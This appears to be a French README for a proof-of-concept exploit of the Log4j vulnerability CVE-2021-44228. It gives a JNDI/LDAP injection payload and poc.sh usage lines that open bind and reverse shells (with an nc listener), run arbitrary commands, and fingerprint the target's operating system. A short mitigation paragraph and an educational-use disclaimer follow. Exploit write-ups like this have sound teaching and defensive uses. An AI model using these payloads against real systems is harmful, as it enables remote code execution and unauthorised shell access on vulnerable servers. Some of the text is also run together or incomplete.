
PoC pour CVE-2021-44228.
Projet réalisé UNIQUEMENT À DES FINS ÉDUCATIVES.
Ce projet crée deux serveurs : http et ldap. Les deux sont nécessaires au fonctionnement de l'exploit. Le fichier java spécifié est compilé et les serveurs sont démarrés dans le Dockerfile. Le payload est affiché à l'utilisateur - il doit être transmis à l'application vulnérable.
Exemple de payload :
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
Il met le programme en pause pendant 25 secondes
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
La détection du système d'exploitation peut renvoyer 4 lettres :
L pour LinuxW pour WindowsM pour MacOSU pour inconnuLa technique de contournement a été publiée. Exemple ici
L'application a été conçue pour montrer comment cela fonctionne. Pour construire et exécuter le jar avec une application, utilisez :
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
où PAYLOAD est renvoyé par le script ./poc.sh (par ex. ${jndi:ldap://127.0.0.1:1389/1}).
Quelques crédits pour les projets et sites web qui ont été utilisés lors de la création de cet exploit :
Lancez l'application utilisant log4j avec log4j2.formatMsgNoLookups défini sur true, ou mettez à jour vers log4j-2.15.0-rc1 ou une version ultérieure. Des mises à jour sont disponibles dans la nature - appliquez-les dès que possible.
Ce projet ne peut être utilisé qu'à des fins éducatives. L'utilisation de ce logiciel contre des systèmes cibles sans autorisation préalable est illégale, et l'auteur ne sera pas responsable des dommages causés par une mauvaise utilisation de ce logiciel.